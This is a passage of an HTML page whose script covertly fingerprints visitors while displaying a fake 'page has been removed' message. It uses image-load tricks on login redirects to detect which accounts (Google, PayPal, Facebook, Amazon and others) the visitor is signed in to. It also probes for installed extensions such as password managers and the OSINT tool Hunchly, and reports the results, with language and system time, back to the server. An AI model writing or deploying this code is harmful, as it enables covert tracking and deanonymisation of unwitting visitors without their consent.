336 |             runningLogins--;
337 |         };
338 |         img.onload = function() {
339 |             //resp['logins'].push(website)
340 |             foundLogins.push(website);
341 |             runningLogins--;
342 | 
343 |         };
344 | 
345 |         document.body.appendChild(img);
346 |     }
347 | 
348 | 
349 |     foundLogins = [];
350 |     runningLogins = 0;
351 | 
352 |     logins = {}
353 |     logins["Google Services"] = "https://accounts.google.com/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.google.com%2Ffavicon.ico";
354 |     logins["Paypal"] = "https://www.paypal.com/signin?returnUri=favicon.ico";
355 |     logins["Instagram"] = "https://www.instagram.com/accounts/login/?next=%2Ffavicon.ico";
356 |     logins["Facebook"] = "https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico";
357 |     logins["Twitter"] = "https://twitter.com/login?redirect_after_login=/favicon.ico";
358 |     logins["Amazon"] = "https://www.amazon.com/ap/signin?_encoding=UTF8&accountStatusPolicy=P1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico&pageId=webcs-yourorder&showRmrMe=1";
359 |     logins["Yahoo"] = "https://login.yahoo.com/?.src=ym&.partner=none&.lang=en-CA&.intl=ca&.done=https%3A%2F%2Fmail.yahoo.com%2Ffavicon.ico";
360 |     logins["Hotmail"] = "https://storage.live.com/mydata/myprofile/expressionprofile/profilephoto:UserTileStatic,UserTileSmall/MeControlMediumUserTile?ck=1&ex=24&fofoff=1";
361 |     logins["Match"] = "https://www.match.com/login?to=/favicon.ico";
362 |     
363 | 
364 |     //resp['logins'] = [];
365 |     running++;
366 |     for (var key in logins){
367 |         if (logins.hasOwnProperty(key)){
368 |             checkLogin(key, logins[key]);
369 |         }
370 |     }
371 | 
372 |     // Submit found logins once all websites are checked
373 |     function submitLogins(){
374 |         if (runningLogins > 0){
375 |             setTimeout(submitLogins, 500);
376 |         } else {
377 |             submitResult("Logins", foundLogins.toString())
378 |         }
379 |     }
380 |     submitLogins();
381 | 
382 | 
383 |     
384 |     // Get installed browser plugins (Chrome only)
385 |     function checkExtension(name, url){
386 |         runningExt++;
387 |         $.ajax({
388 |         url: url,
389 |         cache: "false",
390 |         complete: function(one, two) {
391 |             if (two == "success"){
392 |                 //resp['extensions'].push(name)
393 |                 foundExt.push(name);
394 |             }
395 |             runningExt--;
396 |             
397 |         },
398 |         error: function(one, two, three) {
399 |             runningExt--;
400 |         },
401 |         timeout: 1000
402 |     });
403 |     }
404 | 
405 |     foundExt = [];
406 |     runningExt = 0;
407 | 
408 |     extensions = {};
409 |     extensions['Hunchly'] = 'chrome-extension://amfnegileeghgikpggcebehdepknalbf/content-script/modal.css';
410 |     extensions['KeepassXC'] = 'chrome-extension://oboonakemofpalcgghocfoadofidjkkk/icons/otp.svg';
411 |     extensions['Bitwarden'] = 'chrome-extension://nngceckbapebfimnlniiiahkandclblb/notification/bar.html';
412 |     extensions['Lastpass'] = 'chrome-extension://hdokiejnpimakedhajhdlcegeplioahd/overlay.html';
413 |     extensions['User-Agent Switcher for Chrome'] = 'chrome-extension://djflhoibgkdhkhhcedjiklpkjnoahfmg/jquery.js';
414 |     extensions['User Agent Switcher'] = 'chrome-extension://kchfmpdcejfkipopnolndinkeoipnoia/jquery.js';
415 |     extensions['Chrome Media Router'] = 'chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm/cast_sender.js';
416 | 
417 |     //resp['extensions'] = [];
418 |     running++;
419 |     for (var key in extensions){
420 |         if (extensions.hasOwnProperty(key)){
421 |             checkExtension(key, extensions[key]);
422 |         }
423 |     }
424 | 
425 |         // Submit found logins once all websites are checked
426 |     function submitExts(){
427 |         if (runningExt > 0){
428 |             setTimeout(submitExts, 500);
429 |         } else {
430 |             submitResult("Extensions", foundExt.toString());
431 |         }
432 |     }
433 |     submitExts();
434 | 
435 |     // Get system language
436 |     running++
437 |     //resp['language'] = navigator.language;
438 |     submitResult("Language", navigator.language);
439 | 
440 |     // Get system time
441 |     running++
442 |     var today = new Date();
443 |     var date = today.getFullYear()+'-'+(today.getMonth()+1)+'-'+today.getDate();
444 |     var time = today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds();
445 |     //resp['System Time'] = date+' '+time;
446 |     submitResult("System Time", date+' '+time)
447 | 
448 |     // Wait for all results before POSTing to server
449 |     // Or wait 5 seconds
450 |     var sent = false;
451 | 
452 |     // function wait(){
453 |     //     if (Object.keys(resp).length < running) {
454 |     //         setTimeout(wait, 500);
455 |     //     } else {
456 |     //         var d = "";
457 |     //         for (var key in resp){
458 |     //             if (resp.hasOwnProperty(key)) {
459 |     //                 d = d + key + ": " + resp[key] + "\n";
460 |     //             }
461 |     //         }
462 | 
463 |                 
464 |     //         // Send POST to server
465 |     //         $.ajax({
466 |     //             type: 'POST',
467 |     //             url: window.location,
468 |     //             data: { 
469 |     //                 'd': d 
470 |     //             },
471 |     //             success: function(msg){
472 |     //             }
473 |     //         });
474 |     //         sent = true;
475 | 
476 |     //     }
477 |     // }
478 |     // wait()    
479 | }
480 | 
481 | </script>
482 | 
483 | <canvas id="glcanvas" width="0" height="0"></canvas>
484 | <body>
485 | <div id="main">
486 |     <div class="fof">
487 |         <h1>The requested page has been removed</h1>
488 |     </div>
489 | </div>
490 | </body>
491 | 
492 | <script>
493 | 
494 | </script>
495 | 


--------------------------------------------------------------------------------